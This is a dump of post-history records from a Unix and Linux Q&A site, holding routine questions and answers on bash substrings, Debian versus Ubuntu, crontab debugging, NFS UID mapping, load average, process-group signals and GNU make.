  <row Id="22536" PostHistoryTypeId="5" PostId="9471" RevisionGUID="ba77d81f-485c-44d4-93ed-43326b32fc38" CreationDate="2011-03-17T15:31:09.000" UserId="5666" Comment="added 205 characters in body" Text="In bash with &quot;Parameter Expansion&quot; ${parameter:offset:length}&#xD;&#xA;&#xD;&#xA;    $ var=abcdef&#xD;&#xA;    $ echo ${var:0:1}&#xD;&#xA;    a&#xD;&#xA;    $ echo ${var:3:1}&#xD;&#xA;    d&#xD;&#xA;&#xD;&#xA;Edit: Without parameter expansion (not very elegant, but that's what came to me first)&#xD;&#xA;&#xD;&#xA;    $ charpos() { pos=$1;shift; echo &quot;$@&quot;|sed 's/^.\{'$pos'\}\(.\).*$/\1/';}&#xD;&#xA;    $ charpos 8 what ever here&#xD;&#xA;    r" />
  <row Id="22537" PostHistoryTypeId="2" PostId="9472" RevisionGUID="720ba453-8d86-4d29-88a9-eeea034a4f34" CreationDate="2011-03-17T16:07:11.093" UserId="4671" Text="By list of changes I assume you mean major differences between the two&#xD;&#xA;distributions. I know little about Ubuntu, so I'll mostly write about Debian. &#xD;&#xA;&#xD;&#xA;Probably the main thing that distinguishes Debian from pretty much every other operating system on the planet is [Debian Policy](http://www.debian.org/doc/debian-policy/), which is what drives Debian's famous quality control. Sadly, said quality control is looking a little frayed round the edges as the number of packages in Debian's archives heads north of twenty thousand. Just check out the RC bugs for squeeze. Ubuntu doesn't have anything like this, and its releases are noticeably buggier. I've run into problems despite my extremely light use of Ubuntu.&#xD;&#xA;&#xD;&#xA;Another thing is that when you send a bug report to Debian you will, at least some of the time, get a response, and possibly a bugfix. (In general Debian developers, given that they are volunteers with little free time, are very friendly and helpful in my experience.) With other operating systems it is mostly a black hole. I used SuSE back in the 1990s for a couple of years. They had no real bug reporting system, but there was an address that you could send feedback to, and I never got a reply in all the times I wrote there. The only reply I got from anyone connected with SuSE during the whole time that I was using it was when I wrote directly to a packager's address. From what I have heard Ubuntu/Canonical is rather similar. I imagine fully proprietary systems like Windows are worse. It is also worth noting that in community developed operating systems like Debian, developers manage packages because they are interested in them, and not infrequently, are experts in the domain area. Eg. the PostgreSQL maintainer is a PostgreSQL developer, the Linux kernel maintainers are Linux developers, and so forth. This would be relatively unusual in a non-community OS.&#xD;&#xA;&#xD;&#xA;Debian is hard to beat on their own ground, which is, roughly, making the world's best damn operating system. Yes, I'm biased.&#xD;&#xA;&#xD;&#xA;If I had to point to downsides it is, obviously, that packages in Debian stable can get a little dated, but as the Linux kernel and its ecosystem moves towards maturity, it is less of a big deal that it used to be. I have nightmare recollections of Netscape 4.77 locking up my machine back in the day. Using free software took more dedication then. In any case, one can get stuff from [backports](http://backports.debian.org), which is now an official service, or backport packages oneself, which is not really difficult. Ubuntu is much more focused on keeping software current with regular 6 month releases. Obviously, this can involve compromises in quality as noted above.&#xD;&#xA;&#xD;&#xA;Also, Debian is completely dedicated to free software, which can occasionally cause inconveniences. Eg. the Debian kernel as of the squeeze release, no longer contains non-free software. One can use a netinst installer containing the non-free bits if you need non-free stuff, but there is no full installer with non-free. In contrast, Ubuntu/Canonical, have a much more... relaxed attitude towards non-free software.&#xD;&#xA;&#xD;&#xA;Another thing is that the expected technical level in Debian is perhaps a bit higher, so the OS holds your hand a bit less than Ubuntu does. However, the underlying system is essentially the same, so I'm not sure how much difference that really makes in practice." />
  <row Id="22538" PostHistoryTypeId="2" PostId="9473" RevisionGUID="c2da0f0f-df91-440c-ac88-3eda18d8e648" CreationDate="2011-03-17T16:31:24.150" UserId="5738" Text="You can change all these options in sudoers file, even make no password if you want( I would not recommend this though)." />
  <row Id="22539" PostHistoryTypeId="5" PostId="9466" RevisionGUID="69c5a565-f019-4d22-8abc-a6c3f2e747ac" CreationDate="2011-03-17T17:03:42.067" UserId="1594" Comment="added 187 characters in body" Text="I used `crontab -e` to add the following line to my crontab:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusernae/test&#xD;&#xA;&#xD;&#xA;Yet, I don't see the test file is written to. Is this a permission problem, or is crontab not working correctly?&#xD;&#xA;&#xD;&#xA;I see that the cron process is running. How can I debug this?&#xD;&#xA;&#xD;&#xA;**Edit** - Ask Ubuntu have [a nice question about crontab][1], unfortunately that still doesn't help me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/questions/23009/reasons-why-crontab-does-not-work" />
  <row Id="22540" PostHistoryTypeId="2" PostId="9474" RevisionGUID="5e8d893b-f0f1-4e07-bbe2-4b928de04cca" CreationDate="2011-03-17T17:20:19.817" UserId="4" Text="The usernames are contained in /etc/passwd on each of your systtems.&#xD;&#xA;&#xD;&#xA;To test this, use `ls -n` to display user and group IDs numerically, rather than converting to a user or group name in a long (-l) output. The UIDs should be the same on both systems." />
  <row Id="22541" PostHistoryTypeId="5" PostId="9431" RevisionGUID="6e6f2d14-10ef-4fa4-839a-1d2b3223237f" CreationDate="2011-03-17T17:20:42.763" UserId="5715" Comment="added 423 characters in body" Text="When I restarted the computer I found no network icon. I tried to access internet but no connection was found. I also didn't have the Bluetooth, sound, battery, and power icon. Its really crazy that I have to use these commands to display them:&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;    bluetooth-applet&#xD;&#xA;    nm-applet --sm-disable&#xD;&#xA;    gnome-power-manager&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;Every time I start the system I face this trouble! How can I fix it? Is there anyway to restore previous configuration?&#xD;&#xA;&#xD;&#xA;the history log&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-03-16  11:35:58&#xD;&#xA;    Install: hijra-applet:amd64 (0.1.18-3), python-hijra:amd64 (0.1.18-3, automatic), python-eggtrayicon:amd64 (2.25.3-5ubuntu2, automatic)&#xD;&#xA;    End-Date: 2011-03-16  11:36:15&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  19:12:49&#xD;&#xA;    Upgrade: libkrb5-3:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), libk5crypto3:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), chromium-browser:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), chromium-browser-l10n:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), chromium-codecs-ffmpeg:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), libkrb5support0:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6), libtiff4:amd64 (3.9.4-2ubuntu0.1, 3.9.4-2ubuntu0.2), chromium-browser-inspector:amd64 (10.0.648.127~r76697-0ubuntu0.10.10.1, 10.0.648.133~r77742-0ubuntu0.10.10.1), libgssapi-krb5-2:amd64 (1.8.1+dfsg-5ubuntu0.4, 1.8.1+dfsg-5ubuntu0.6)&#xD;&#xA;    End-Date: 2011-03-16  19:13:11&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  20:52:52&#xD;&#xA;    Install: gpredict:amd64 (1.1-7)&#xD;&#xA;    End-Date: 2011-03-16  20:53:03&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  20:55:55&#xD;&#xA;    Install: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer-data-de:amd64 (0.6.0-17, automatic), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  20:56:02&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:07&#xD;&#xA;    Remove: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer-data-de:amd64 (0.6.0-17), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1)&#xD;&#xA;    End-Date: 2011-03-16  21:28:16&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:22&#xD;&#xA;    Install: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer-data-de:amd64 (0.6.0-17, automatic), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1, automatic), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  21:28:27&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:28:53&#xD;&#xA;    Remove: libwxbase2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer-data-de:amd64 (0.6.0-17), libwxgtk2.6-0:amd64 (2.6.3.2.2-5ubuntu1), tipptrainer:amd64 (0.6.0-17), wx2.6-i18n:amd64 (2.6.3.2.2-5ubuntu1)&#xD;&#xA;    End-Date: 2011-03-16  21:28:56&#xD;&#xA;    &#xD;&#xA;    Start-Date: 2011-03-16  21:31:49&#xD;&#xA;    Install: klavaro:amd64 (1.5.0-1build1), libgtkdatabox-0.9.1-1:amd64 (0.9.1.1-3.1, automatic)&#xD;&#xA;    End-Date: 2011-03-16  21:31:57&#xD;&#xA;&#xD;&#xA;Another problem that I didn't notice is that there is a problem with the graphics card also the visual effects can't be applied as in these photos![the drivers aren't installed][1]![the effect can't be applied][2]&lt;br/&gt;it was working before.&#xD;&#xA;____&#xD;&#xA;another problem appeared I can't install any software from software center i click the install but nothing happens i tried many programs but the same result!! the internet connection is ok!!&lt;br/&gt;I think it is virus but  heard that Linux is so powerful in security.&lt;br/&gt;&lt;br/&gt;I haven't seen a thing like this since windows 98 and XP first edition when viruses change desktop background and disable some menu items&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/XBEC4.gif&#xD;&#xA;  [2]: http://i.imgur.com/eFRmX.gif" />
  <row Id="22542" PostHistoryTypeId="5" PostId="9474" RevisionGUID="9552d305-00f2-4537-865c-90196c65dd53" CreationDate="2011-03-17T17:27:04.787" UserId="4" Comment="Clarify clarify" Text="Remember that each of the NFS client systems will determine the username by looking up the numerical UID in [/etc/passwd][1]. The NFS server only stores the UID in numerical format, and does not know about usernames. This is also true for group names and GIDs.&#xD;&#xA;&#xD;&#xA;In your case, serverA and serverB must have different usernames listed in /etc/passwd &#xD;&#xA;&#xD;&#xA;To test this, use `ls -n` to display user and group IDs numerically, rather than converting to a user or group name in a long (-l) output. If the `ls -n` option is not available on AIX, consult the manpage for this feature.&#xD;&#xA;&#xD;&#xA;To see the username-to-uid mapping, do `grep $THEUSERID /etc/passwd` on both serverA and serverB.&#xD;&#xA;&#xD;&#xA;The UIDs should be the same on both systems, but the usernames will be different.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.security/doc/security/passwords_etc_passwd_file.htm" />
  <row Id="22543" PostHistoryTypeId="25" PostId="9456" RevisionGUID="08f49114-4dd7-4d96-b8e0-4d3ee6ac9131" CreationDate="2011-03-17T17:31:19.697" Comment="http://twitter.com/#!/StackUnix/status/48436262905974784" />
  <row Id="22544" PostHistoryTypeId="2" PostId="9475" RevisionGUID="e5d46a98-63a3-4f8f-9fc2-0a6a50e30f65" CreationDate="2011-03-17T17:35:41.560" UserId="3886" Text="Have you added empty line after your cronjob? http://serverfault.com/q/230370/67116" />
  <row Id="22545" PostHistoryTypeId="2" PostId="9476" RevisionGUID="4ba6351b-3f56-4754-89e8-0b22d3ebb378" CreationDate="2011-03-17T17:36:13.603" UserId="2780" Text="If you read changelogs, you will see a lot of collaboration between Debian and Ubuntu.&#xD;&#xA;&#xD;&#xA;![workflow](http://www.diagrammr.com/png?key=dodjkzMu8)&#xD;&#xA;&#xD;&#xA;Security fixes not shown as they are everywhere except `testing`&#xD;&#xA;&#xD;&#xA;* [Debian release cycle][debian]&#xD;&#xA;* [Ubuntu reviewing of Debian packages: From Debian to Ubuntu][debian2ubuntu]&#xD;&#xA;* [Utnubu: from Ubuntu to Debian][ubuntu2debian]&#xD;&#xA;&#xD;&#xA; [debian]: http://wiki.debian.org/DebianTesting&#xD;&#xA; [debian2ubuntu]: https://wiki.ubuntu.com/Ubuntu/ForDebianDevelopers#Why%20does%20Ubuntu%20have%20an%20older/buggy%20version%20of%20my%20package?&#xD;&#xA; [ubuntu2debian]: http://wiki.debian.org/Utnubu" />
  <row Id="22546" PostHistoryTypeId="2" PostId="9477" RevisionGUID="4ab392fa-ff49-4e65-b1ef-c156ff547b8b" CreationDate="2011-03-17T17:53:49.943" UserId="1184" Text="The numbers that are used to calculate load average are tasks in the run or uninterruptable state and the amount of work done in the time slice of the moving average.  These tasks can be part of a multithreaded process.  The fields are fuzzy the farther back in time due to smoothing results from the algorithm used.&#xD;&#xA;&#xD;&#xA;A load of 1 is equal to 100% of one CPUs worth of work.  If you had a multithreaded application that managed to have a number of active threads in excess of the number of available CPUs, then you could have a single process drive the load above 1.  This would likely be a short term spike and not reflected in the longer time slice views of the load average.&#xD;&#xA;&#xD;&#xA;Also, since the load average was developed before there were multi-core systems, its important to divide the load numbers by the total available number of cores.  If this is a sustained load of 9 on a 4 socket quad core system, then this is a 9 of 16 load and not really a problem.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22547" PostHistoryTypeId="2" PostId="9478" RevisionGUID="0c710e83-ccc0-4695-889e-0402dedc35ed" CreationDate="2011-03-17T18:08:05.890" UserId="872" Text="Alternative to parameter expansion is `expr substr`&#xD;&#xA;&#xD;&#xA;    substr STRING POS LENGTH&#xD;&#xA;        substring of STRING, POS counted from 1&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    $ expr substr hello 2 1&#xD;&#xA;    e&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22548" PostHistoryTypeId="5" PostId="9463" RevisionGUID="e52afb27-3a7e-4111-967b-2fd9ea011251" CreationDate="2011-03-17T18:12:16.977" UserId="5785" Comment="Ubuntu is easy-to-use desktop system, not just user-oriented. Debian isn't built to be newbie friendly, but still being user-oriented." Text="Go to the source:&#xD;&#xA;&#xD;&#xA;Where did it all begin?&#xD;&#xA;&#xD;&#xA;&gt; Linux was already established as an&#xD;&#xA;&gt; enterprise server platform in 2004.&#xD;&#xA;&gt; But free software was still not a part&#xD;&#xA;&gt; of everyday life for most computer&#xD;&#xA;&gt; users. That's why Mark Shuttleworth&#xD;&#xA;&gt; gathered a small team of developers&#xD;&#xA;&gt; from one of the most established Linux&#xD;&#xA;&gt; projects – Debian - and set out to&#xD;&#xA;&gt; create an easy-to-use Linux desktop,&#xD;&#xA;&gt; Ubuntu. The vision for Ubuntu is part&#xD;&#xA;&gt; social and part economic: free&#xD;&#xA;&gt; software, available free of charge to&#xD;&#xA;&gt; everybody on the same terms, and&#xD;&#xA;&gt; funded through a portfolio of services&#xD;&#xA;&gt; provided by Canonical.&#xD;&#xA;&#xD;&#xA;From: [http://www.ubuntu.com/project/about-ubuntu][1]&#xD;&#xA;&#xD;&#xA;And then see: [http://www.ubuntu.com/community/ubuntu-and-debian][2]&#xD;&#xA;&#xD;&#xA;So, differences are thousands, but in the core, we're talking about a strong distro as debian is, with a well defined methodology and rules to say: ok, now it's &quot;stable&quot;; and an easy-to-use desktop system, with defined time to release a system with mostly new and untested software.&#xD;&#xA;&#xD;&#xA;If you're a common desktop user, then you'll love ubuntu. Debian isn't built to be a newbie-friendly system, or something like that... say it's power-user-friendly. But maybe you don't like Ubuntu, nor debian, then try OpenSUSE (Learn YaST).&#xD;&#xA;&#xD;&#xA;BUT: If you're a relatively advanced Linux User, try Debian. It's better than Ubuntu for experienced users, and i'd never found it &quot;hard&quot; to use.&#xD;&#xA;&#xD;&#xA;BTW: I'm debian user since 4.0 &quot;etch&quot;, and I love it.&#xD;&#xA;&#xD;&#xA;Sorry about my English,&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ubuntu.com/project/about-ubuntu&#xD;&#xA;  [2]: http://www.ubuntu.com/community/ubuntu-and-debian" />
  <row Id="22549" PostHistoryTypeId="5" PostId="9466" RevisionGUID="e733b73f-9094-4330-9223-83e749776cb6" CreationDate="2011-03-17T18:17:53.037" UserId="1594" Comment="added 191 characters in body" Text="I used `crontab -e` to add the following line to my crontab:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusernae/test&#xD;&#xA;&#xD;&#xA;Yet, I don't see the test file is written to. Is this a permission problem, or is crontab not working correctly?&#xD;&#xA;&#xD;&#xA;I see that the cron process is running. How can I debug this?&#xD;&#xA;&#xD;&#xA;**Edit** - Ask Ubuntu have [a nice question about crontab][1], unfortunately that still doesn't help me.&#xD;&#xA;&#xD;&#xA;**Edit 2** - Hmm, it seems my test files has 214 lines, which means for the last 214 minutes it is being written to every minute. I'm not sure what was the problem, but it's evidently gone.&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/questions/23009/reasons-why-crontab-does-not-work" />
  <row Id="22550" PostHistoryTypeId="2" PostId="9479" RevisionGUID="60f7c185-62ee-456c-8358-129081baf533" CreationDate="2011-03-17T18:27:47.970" UserId="3886" Text="Load average is usually described as &quot;average length of run queue&quot;. So few CPU-consuming processes or threads can raise LA above 1. There is no problem if LA is less than total number of CPU cores. But if it gets higher than number of CPUs, this means some threads/processes will stay in queue, ready to run, but waiting for free CPU." />
  <row Id="22551" PostHistoryTypeId="2" PostId="9480" RevisionGUID="73f05120-2247-494b-bd4a-333d0cef262d" CreationDate="2011-03-17T18:53:43.523" UserId="1170" Text="this question is a follow-up to: http://unix.stackexchange.com/questions/2107/how-to-suspend-and-resume-proccesses&#xD;&#xA;&#xD;&#xA;I have started firefox from a bash session in gnome-terminal.&#xD;&#xA;&#xD;&#xA;The proccess tree looks like this:&#xD;&#xA;&#xD;&#xA;    $ ps -e -o pid,ppid,cmd -H&#xD;&#xA;     1828     1   gnome-terminal&#xD;&#xA;    26677  1828     bash&#xD;&#xA;    27980 26677       /bin/sh /usr/lib/firefox-3.6.15/firefox&#xD;&#xA;    27985 27980         /bin/sh /usr/lib/firefox-3.6.15/run-mozilla.sh /usr/lib/firefox-3.6.15/firefox-bin&#xD;&#xA;    27989 27985           /usr/lib/firefox-3.6.15/firefox-bin&#xD;&#xA;    28012 27989             /usr/lib/firefox-3.6.15/plugin-container /usr/lib/adobe-flashplugin/libflashplayer.so 27989 plugin true&#xD;&#xA;&#xD;&#xA;When I hit `CTRL+Z` in bash, it will suspend firefox. When I issue the command `bg` (or `fg`) it will resume firefox. This is as expected.&#xD;&#xA;&#xD;&#xA;When I issue the command `kill -s SIGTSTP 27980` in another terminal, it will print the line `[1]+  Stopped                 firefox` in the first terminal (just like when i hit `CTRL+Z`), but it does not suspend firefox. I asume it only suspends the shell script.&#xD;&#xA;&#xD;&#xA;When I issue the command `kill -s SIGTSTP 27989` (note the PID) in another terminal, it will suspend firefox. The first terminal does not take note of this.&#xD;&#xA;&#xD;&#xA;How does bash suspend the entire proccess tree? does it just traverse the tree and SIGTSTP all of the children?&#xD;&#xA;" />
  <row Id="22552" PostHistoryTypeId="1" PostId="9480" RevisionGUID="73f05120-2247-494b-bd4a-333d0cef262d" CreationDate="2011-03-17T18:53:43.523" UserId="1170" Text="How to suspend and resume proccesses like bash does" />
  <row Id="22553" PostHistoryTypeId="3" PostId="9480" RevisionGUID="73f05120-2247-494b-bd4a-333d0cef262d" CreationDate="2011-03-17T18:53:43.523" UserId="1170" Text="ébashàéjoböcontrolà" />
  <row Id="22554" PostHistoryTypeId="2" PostId="9481" RevisionGUID="98858ee7-e7e0-4eea-a391-06951facdfb4" CreationDate="2011-03-17T18:57:26.457" UserId="4" Text="Sounds like this is fixed. Next time, try logging the STDERR as well. Instead of &#xD;&#xA;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusernae/test&#xD;&#xA;&#xD;&#xA;Try to make sure there is an explicit location for STDERR. Otherwise, STDERR may be sent via email to the user (assuming that email is working), or may go nowhere at all.&#xD;&#xA;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusernae/test 2&gt; /home/myusername/test.stderr&#xD;&#xA;&#xD;&#xA;[My preference][1] is to send cronjob output to syslog. That way I am taking advantage of any existing syslog infrastructure (centralized syslogs, Splunk, log rotation already supported, it's easy to compare messages in /var/log/messages &amp; /var/log/cronjob, etc), and I'm not spamming the sysadmins (me) with unnecessary emails.&#xD;&#xA;&#xD;&#xA;    * * * * * echo hi &gt;&gt; /home/myusernae/test 2&gt;&amp;1 | /usr/bin/logger -t mycronjob&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/137468/better-logging-for-cronjob-output-using-usr-bin-logger" />
  <row Id="22555" PostHistoryTypeId="2" PostId="9482" RevisionGUID="eb170c59-3502-4b2b-b7f3-bf3cad0b4fa4" CreationDate="2011-03-17T19:00:40.860" UserId="5325" Text="Shell jobs live in &quot;process groups&quot;; look at the `PGRP` column in extended `ps` output.  These are used both for job control and to determine who &quot;owns&quot; a terminal (real or pty).&#xD;&#xA;&#xD;&#xA;POSIX (taken from System V) uses a negative process ID to indicate a process group, since the process group is identified by the first process in the group (&quot;process group leader&quot;).  So you would use `ps` to determine the process group, then `kill -s SIGTSTP -$pgrp`." />
  <row Id="22556" PostHistoryTypeId="5" PostId="9474" RevisionGUID="e5f1586d-f435-4a89-849e-85fe3e9dfa1e" CreationDate="2011-03-17T19:02:14.987" UserId="4" Comment="added 207 characters in body" Text="Remember that each of the NFS client systems will determine the username by looking up the numerical UID in [/etc/passwd][1], or your centralized user database. The NFS server only stores the UID in numerical format, and does not know about usernames. This is also true for group names vs. GIDs.&#xD;&#xA;&#xD;&#xA;In your case, serverA and serverB must have different usernames listed in /etc/passwd &#xD;&#xA;&#xD;&#xA;To test this, use `ls -n` to display user and group IDs numerically, rather than converting to a user or group name in a long (-l) output. If the `ls -n` option is not available on AIX, consult the manpage for this feature.&#xD;&#xA;&#xD;&#xA;To see the username-to-uid mapping, do one of the following on both serverA and serverB.&#xD;&#xA;&#xD;&#xA;    grep $THEUSERID /etc/passwd&#xD;&#xA;&#xD;&#xA;Or, it's a good habit to use `getent`, since it works with /etc/password, and directory services (LDAP, etc.):&#xD;&#xA;&#xD;&#xA;    getent passwd $THEUSERID&#xD;&#xA;&#xD;&#xA;The UIDs should be the same on both systems, but the usernames will be different.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.security/doc/security/passwords_etc_passwd_file.htm" />
  <row Id="22557" PostHistoryTypeId="5" PostId="9482" RevisionGUID="723291f6-1cea-4ec7-a466-f246042c6956" CreationDate="2011-03-17T19:06:07.173" UserId="5325" Comment="tie back to OP's process hierarchy example" Text="Shell jobs live in &quot;process groups&quot;; look at the `PGRP` column in extended `ps` output.  These are used both for job control and to determine who &quot;owns&quot; a terminal (real or pty).&#xD;&#xA;&#xD;&#xA;POSIX (taken from System V) uses a negative process ID to indicate a process group, since the process group is identified by the first process in the group (&quot;process group leader&quot;).  So you would use `ps` to determine the process group, then `kill -s SIGTSTP -$pgrp`.  (Try `ps -u$USER -opid,ppid,pgrp,cmd`.)&#xD;&#xA;&#xD;&#xA;In your process tree, the process group starts with the `firefox` script launched by `bash`, so the process group would be 27980 and the command would be `kill -s TSTP -27980`." />
  <row Id="22558" PostHistoryTypeId="5" PostId="9482" RevisionGUID="e8e5c604-7887-4557-b1fe-5258d2679093" CreationDate="2011-03-17T19:11:44.543" UserId="5325" Comment="be consistent with [SIG]TSTP" Text="Shell jobs live in &quot;process groups&quot;; look at the `PGRP` column in extended `ps` output.  These are used both for job control and to determine who &quot;owns&quot; a terminal (real or pty).&#xD;&#xA;&#xD;&#xA;POSIX (taken from System V) uses a negative process ID to indicate a process group, since the process group is identified by the first process in the group (&quot;process group leader&quot;).  So you would use `ps` to determine the process group, then `kill -s TSTP -$pgrp`.  (Try `ps -u$USER -opid,ppid,pgrp,cmd`.)&#xD;&#xA;&#xD;&#xA;In your process tree, the process group starts with the `firefox` script launched by `bash`, so the process group would be 27980 and the command would be `kill -s TSTP -27980`." />
  <row Id="22559" PostHistoryTypeId="2" PostId="9483" RevisionGUID="a205e334-b890-4bdc-92cc-f2c35820cb47" CreationDate="2011-03-17T19:34:23.693" UserId="5830" Text="With the following Makefile, GNU make runs the two commands in parallel. Since the first one takes time to finish, `rm *.log` is run before the `log` file is created, and fails.&#xD;&#xA;&#xD;&#xA;    dummy.pdf: dummy.tex&#xD;&#xA;    	tex dummy.tex &amp;&gt; /dev/null;&#xD;&#xA;    	rm *.log&#xD;&#xA;&#xD;&#xA;The file `dummy.tex` one line: `\bye` (a short empty file for TeX). Replacing `tex dummy.tex` by any other command shows the same behaviour. Removing `&amp;&gt; /dev/null` would of course solve the problem, but it is not a very good option in my case, since the Makefile is provided by a third party.&#xD;&#xA;&#xD;&#xA;Is it possible to prevent GNU make from doing anything in parallel? (the flag `-j 1` does not help).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22560" PostHistoryTypeId="1" PostId="9483" RevisionGUID="a205e334-b890-4bdc-92cc-f2c35820cb47" CreationDate="2011-03-17T19:34:23.693" UserId="5830" Text="Forcing GNU make to run commands in order" />
  <row Id="22561" PostHistoryTypeId="3" PostId="9483" RevisionGUID="a205e334-b890-4bdc-92cc-f2c35820cb47" CreationDate="2011-03-17T19:34:23.693" UserId="5830" Text="émakeàéparallelà" />
  <row Id="22562" PostHistoryTypeId="2" PostId="9484" RevisionGUID="d88c817d-3af1-43e1-a287-a9ddf6773671" CreationDate="2011-03-17T19:37:31.830" UserId="5325" Text="Er?  `make` parallelizes targets (with `-j`); it never reorders commands within a target." />
  <row Id="22563" PostHistoryTypeId="2" PostId="9485" RevisionGUID="6b6a48d2-ceb5-4294-8035-a080f5ec52ca" CreationDate="2011-03-17T19:43:56.180" UserId="5785" Text="Actually, you don't have a problem with make, but with your command:&#xD;&#xA;&#xD;&#xA;    tex dummy.tex &amp;&gt; /dev/null;&#xD;&#xA;&#xD;&#xA;Runs 'tex' in the background. You don't need to remove '&gt;/dev/null', but '&amp;' is sending 'tex' to the background.&#xD;&#xA;&#xD;&#xA;Try this, it must be fine for you:&#xD;&#xA;&#xD;&#xA;    tex dummy.tex &gt; /dev/null;&#xD;&#xA;&#xD;&#xA;or run everything in the same subshell, like this:&#xD;&#xA;&#xD;&#xA;    (tex dummy.tex &gt; /dev/null;rm *.log)&#xD;&#xA;&#xD;&#xA;or less sane, this:&#xD;&#xA;&#xD;&#xA;    if test 1 = 1; then tex dummy.tex &gt; /dev/null;rm *.log; fi&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="22564" PostHistoryTypeId="5" PostId="9483" RevisionGUID="3064c75d-8eed-446d-9bc1-03f2425f300a" CreationDate="2011-03-17T19:45:07.617" UserId="5830" Comment="Added the terminal output" Text="With the following Makefile, GNU make runs the two commands in parallel. Since the first one takes time to finish, `rm *.log` is run before the `log` file is created, and fails.&#xD;&#xA;&#xD;&#xA;    dummy.pdf: dummy.tex&#xD;&#xA;    	tex dummy.tex &amp;&gt; /dev/null;&#xD;&#xA;    	rm *.log&#xD;&#xA;&#xD;&#xA;The file `dummy.tex` one line: `\bye` (a short empty file for TeX). Replacing `tex dummy.tex` by any other command shows the same behaviour. Removing `&amp;&gt; /dev/null` would of course solve the problem, but it is not a very good option in my case, since the Makefile is provided by a third party.&#xD;&#xA;&#xD;&#xA;Is it possible to prevent GNU make from doing anything in parallel? (the flag `-j 1` does not help).&#xD;&#xA;&#xD;&#xA;EDIT: output to the terminal:&#xD;&#xA;&#xD;&#xA;    bruno@bruno-laptop:~/LaTeX/make-experiment$ make&#xD;&#xA;    tex dummy.tex &amp;&gt; /dev/null;&#xD;&#xA;    rm *.log&#xD;&#xA;    rm: cannot remove `*.log': No such file or directory&#xD;&#xA;    make: *** [dummy.pdf] Error 1&#xD;&#xA;    bruno@bruno-laptop:~/LaTeX/make-experiment$ This is TeX, Version 3.1415926 (TeX Live 2009/Debian)&#xD;&#xA;    (./dummy.tex )&#xD;&#xA;    No pages of output.&#xD;&#xA;    Transcript written on dummy.log.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22565" PostHistoryTypeId="6" PostId="9480" RevisionGUID="8e3809c8-34fa-4486-b83a-817dcf259bff" CreationDate="2011-03-17T19:53:46.360" UserId="885" Comment="edited tags" Text="éprocessàéjoböcontrolàésignalsà" />
  <row Id="22566" PostHistoryTypeId="2" PostId="9486" RevisionGUID="612d30ca-f86d-412b-bf44-ccc033f207bf" CreationDate="2011-03-17T19:59:01.067" UserId="885" Text="There are implementations of `cron` (not all of them, and I don't remember which offhand, but I've encountered one under Linux) that check for updated crontab files every minute on the minute, and do not consider new entries until the next minute. Therefore, a crontab can take up to two minutes to fire up for the first time. This may be what you observed.&#xD;&#xA;" />
  <row Id="22567" PostHistoryTypeId="4" PostId="9466" RevisionGUID="e4fa8c8e-89f7-48b1-b889-3645105becd0" CreationDate="2011-03-17T19:59:46.183" UserId="885" Comment="edited title" Text="Why did my crontab not trigger?" />
